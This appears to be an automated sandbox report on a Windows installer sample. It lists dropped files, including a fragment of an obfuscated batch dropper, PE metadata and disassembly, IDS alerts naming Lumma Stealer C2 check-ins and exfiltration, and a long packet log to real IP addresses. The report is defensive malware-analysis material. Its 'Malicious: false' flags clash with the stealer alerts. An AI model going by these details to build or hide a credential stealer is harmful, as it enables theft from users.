C:\Users\user\AppData\Local\Temp\Warnings

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	1876
Entropy (8bit):	4.827724667265049
Encrypted:	false
SSDEEP:	24:9yGS9PvCA433C+sCNC1skNkvQfhSHQU2L55e1yb/uBx39lt6DhBhhB4+JvU1SX6O:u9n9mTsCNvEQH5O5U1nPKrhBzM1FO
MD5:	D8E3C27DF10226578FFE5E1F021E387F
SHA1:	3CB59B6554D05A008327FE25202B5405548F1595
SHA-256:	F41C7A2E87C0C5BE1F2AFBC637017AE27BD96F22ACFDA79BDE149D63F4BCBEBA
SHA-512:	C2C856A41630B6480760A75F39C67DADA001FC713B0F05B266964C6CA7A2456F9B9D17DDDB33081E5EBEA7CF1AB6A32BDF4FCC481EDB1249678EDCF604FEA502
Malicious:	false
Preview:	Postal........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B..........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\meyer.pps.bat

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with very long lines (641), with CRLF line terminators
Category:	dropped
Size (bytes):	13891
Entropy (8bit):	5.114310451313887
Encrypted:	false
SSDEEP:	192:Mb6mjua6fGGcoO+EeyH2Dgj9CQ91oVA9sz/qGshLlAM97wAJMOuXn/oE:Mz6fBA2DgroV7iL5977iTX/B
MD5:	5550C364259312F7447A4D9B9836E3B9
SHA1:	4418F35EC955ECB1FA4E5D98B2CF2DF7EFB97E3A
SHA-256:	FB9E1010E6EC66A192B3F991C6CB89CF0207E4909E8A0958155E46C5BBF757DD
SHA-512:	259BB9C8D5D37DC63DA0870952D7C62C04A38DE0EE7B4983BDD1E099736C839033F96C51FF325FE335D2FADDAE25C660FA2C5CE1F3151520E190F00A2F08912E
Malicious:	false
Preview:	Set Chip=F..VQNvEvening-Groove-Determination-Bank-Expense-..zRBt-Craig-Stress-Remix-..LdjHInitiative-Ownership-..pSWCases-Yarn-Functioning-..tONvPage-Teaches-Costa-Infant-Saves-Regional-Briefing-..PLUMagazine-Composite-Obligations-Porsche-Clinic-Myanmar-..TKlxAngry-Writer-..nLwBefore-Established-Documented-Beautiful-Immediately-..lzListings-Arms-Guests-Buyer-Alumni-Patrick-Nobody-..NeWpMiami-Wikipedia-Hr-Karen-Attacks-Healing-Secret-Fog-..Set Ceramic=z..nrIntended-..rnVOmissions-Reporter-Jp-Muze-Cv-..mbJCompared-..SuqrSexy-Gateway-Bailey-Caused-..CAUProminent-..CIIFair-Usb-Acquired-Prerequisite-People-..dBSao-Christine-Surrounding-Quote-Comes-..XwxDisplayed-Bernard-..dhlYControversial-Unix-Allocated-Travesti-Advice-Ff-Phones-..VudGives-Joyce-Still-Louisville-..Set Areas=X..KowoExclude-Scanners-Hepatitis-Yen-..hWpQualify-Derby-Horse-Australian-Granted-Revisions-..SPzCouple-Specify-Juice-Webcams-Regions-Supporting-Tell-Preferred-Nutritional-..QBYaPolyester-Nelson-Feels-Utility-..JWSubmit

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	170
Entropy (8bit):	4.705628972220619
Encrypted:	false
SSDEEP:	3:RGXKRjN3MZ9aSLKLbzXDD9jmKXVM8/FAJoDYTzMX2aHEdoIeUualFHg2kbow:zx3MmSLQHtBXVNsTm2aYoIeURRs7
MD5:	6704C393B77FFF4001981A4998F639B4
SHA1:	F150523BC50CCE8B3894804FD42798DA65AF765F
SHA-256:	6D6780CFC8C582379D6C17C389F6827D890AEE7CFFC26A04DEE3D854A5B04175
SHA-512:	CF64BE97A47210C0132B843B5294940552CB5347F6C4657AFD18D2893CA5B7BEECA758B21F09E3D3E274C931047C0701EE9948C023DFBCDDE82F9AA536EAD19D
Malicious:	false
Preview:	Microsoft (R) File Expansion Utility..Copyright (c) Microsoft Corporation. All rights reserved.....Copying meyer.pps to meyer.pps.bat...meyer.pps: 13891 bytes copied.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.481349410467826
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	lnst#U0430Il#U0435r86x.exe
File size:	1'409'281 bytes
MD5:	80366ac1383e6415790b9993205efb78
SHA1:	8a236d9587e844df67b3ed756d9e5c8753843281
SHA256:	ce2d57e8cb34eff0c7d2a11895626e216b4ee7075eaaad279faa82e6242dba9c
SHA512:	a5ce00a8e0d61529bfbf5d094a5d126ef630d17196e031bb7644f2a7533e15e1297514abf9935cc188efd6ffae8845aa3cd51ce047c0d7dab2096a8969b0d4a5
SSDEEP:	24576:oJQ9Wutnybrv0kb8qRnoFDvDc5bO4KJaQlAleUNrQxqO:u0tnybruynQ/cWJ1EXryqO
TLSH:	05652342FF505232E3A41E360DB7B7B28FA576212B22CF1F9208A9C4F8536561F517E9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t...z...B...8.....

File Icon


Icon Hash:	0038e066a5dc6c80

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007F5E1D46CD8Bh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007F5E1D46CA6Dh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007F5E1D46CA5Bh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007F5E1D46A35Ah
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007F5E1D46C731h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F5E1D46A3E3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F5E1D46A35Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x59bf0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x59bf0	0x59c00	214e5442d762ce1afd88ea881311b3ff	False	0.4754689676183844	data	4.996424375837533	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x15a000	0xfd6	0x1000	620f0b67a91f7f74151bc5be745b7110	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1001f0	0x44028	Device independent bitmap graphic, 256 x 512 x 32, image size 278528	English	United States	0.46352057666350766
RT_ICON	0x144218	0x11028	Device independent bitmap graphic, 128 x 256 x 32, image size 69632	English	United States	0.5068033069238719
RT_ICON	0x155240	0x4428	Device independent bitmap graphic, 64 x 128 x 32, image size 17408	English	United States	0.5249885373681797
RT_DIALOG	0x159668	0x100	data	English	United States	0.5234375
RT_DIALOG	0x159768	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x159888	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x1598e8	0x30	data	English	United States	0.8541666666666666
RT_MANIFEST	0x159918	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-16T14:31:56.565055+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	149.154.167.99	443	TCP
2025-02-16T14:31:57.366183+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	188.114.97.3	443	TCP
2025-02-16T14:31:57.837448+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49738	188.114.97.3	443	TCP
2025-02-16T14:31:57.837448+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	188.114.97.3	443	TCP
2025-02-16T14:31:58.312583+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	188.114.97.3	443	TCP
2025-02-16T14:31:58.813045+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49739	188.114.97.3	443	TCP
2025-02-16T14:31:59.571736+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	188.114.97.3	443	TCP
2025-02-16T14:32:00.934348+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	188.114.97.3	443	TCP
2025-02-16T14:32:01.695144+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49741	188.114.97.3	443	TCP
2025-02-16T14:32:02.235872+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	188.114.97.3	443	TCP
2025-02-16T14:32:03.542781+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	188.114.97.3	443	TCP
2025-02-16T14:32:04.869173+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	188.114.97.3	443	TCP
2025-02-16T14:32:06.981568+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	188.114.97.3	443	TCP
2025-02-16T14:32:07.428898+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49745	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 16, 2025 14:31:55.939716101 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:55.939762115 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:55.939879894 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:55.942728996 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:55.942744970 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.564945936 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.565054893 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:56.569178104 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:56.569185972 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.569497108 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.611774921 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:56.635617018 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:56.683329105 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.865761042 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.865830898 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.865850925 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.865889072 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.865997076 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:56.865997076 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:56.866015911 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.866036892 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.866061926 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:56.866103888 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:56.868664980 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:56.868678093 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.868694067 CET	49737	443	192.168.2.4	149.154.167.99
Feb 16, 2025 14:31:56.868699074 CET	443	49737	149.154.167.99	192.168.2.4
Feb 16, 2025 14:31:56.884351015 CET	49738	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:56.884377003 CET	443	49738	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:56.884447098 CET	49738	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:56.884835005 CET	49738	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:56.884848118 CET	443	49738	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:57.366077900 CET	443	49738	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:57.366183043 CET	49738	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:57.367490053 CET	49738	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:57.367501020 CET	443	49738	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:57.367819071 CET	443	49738	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:57.368911028 CET	49738	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:57.368932009 CET	49738	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:57.369020939 CET	443	49738	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:57.837423086 CET	443	49738	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:57.837650061 CET	443	49738	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:57.837853909 CET	49738	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:57.838179111 CET	49738	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:57.838232994 CET	443	49738	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:57.838263988 CET	49738	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:57.838279009 CET	443	49738	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:57.841430902 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:57.841473103 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:57.841547966 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:57.841924906 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:57.841933966 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.312478065 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.312582970 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.314133883 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.314141989 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.314459085 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.315536976 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.315557003 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.315593958 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.813075066 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.813297987 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.813414097 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.813446045 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.813468933 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.813591957 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.813694000 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.813783884 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.813783884 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.813790083 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.813831091 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.813977003 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.813998938 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.814019918 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.814074993 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.814085960 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.817883968 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.818074942 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.818094015 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.861767054 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.902264118 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.902467012 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.902554989 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.902718067 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.902739048 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.902776003 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.903137922 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.903211117 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.903224945 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:58.903249025 CET	49739	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:58.903253078 CET	443	49739	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:59.094619036 CET	49740	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:59.094707012 CET	443	49740	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:59.094800949 CET	49740	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:59.095191002 CET	49740	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:59.095221996 CET	443	49740	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:59.571356058 CET	443	49740	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:59.571736097 CET	49740	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:59.572889090 CET	49740	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:59.572942972 CET	443	49740	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:59.573476076 CET	443	49740	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:59.574676037 CET	49740	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:59.574676037 CET	49740	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:59.574883938 CET	443	49740	188.114.97.3	192.168.2.4
Feb 16, 2025 14:31:59.575105906 CET	49740	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:31:59.575164080 CET	443	49740	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:00.445049047 CET	443	49740	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:00.445276976 CET	443	49740	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:00.445425987 CET	49740	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:00.445518017 CET	49740	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:00.445555925 CET	443	49740	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:00.464694023 CET	49741	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:00.464790106 CET	443	49741	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:00.464895964 CET	49741	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:00.465146065 CET	49741	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:00.465173006 CET	443	49741	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:00.934230089 CET	443	49741	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:00.934348106 CET	49741	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:00.935411930 CET	49741	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:00.935442924 CET	443	49741	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:00.936017036 CET	443	49741	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:00.937071085 CET	49741	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:00.937202930 CET	49741	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:00.937241077 CET	443	49741	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:01.695135117 CET	443	49741	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:01.695360899 CET	49741	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:01.768286943 CET	49742	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:01.768377066 CET	443	49742	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:01.768493891 CET	49742	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:01.775654078 CET	49742	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:01.775686979 CET	443	49742	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:02.235574961 CET	443	49742	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:02.235872030 CET	49742	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:02.237018108 CET	49742	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:02.237046957 CET	443	49742	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:02.237384081 CET	443	49742	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:02.238465071 CET	49742	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:02.238599062 CET	49742	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:02.238734961 CET	443	49742	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:02.238866091 CET	49742	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:02.238882065 CET	443	49742	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:02.961563110 CET	443	49742	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:02.961786985 CET	443	49742	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:02.961848974 CET	49742	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:02.961848974 CET	49742	443	192.168.2.4	188.114.97.3
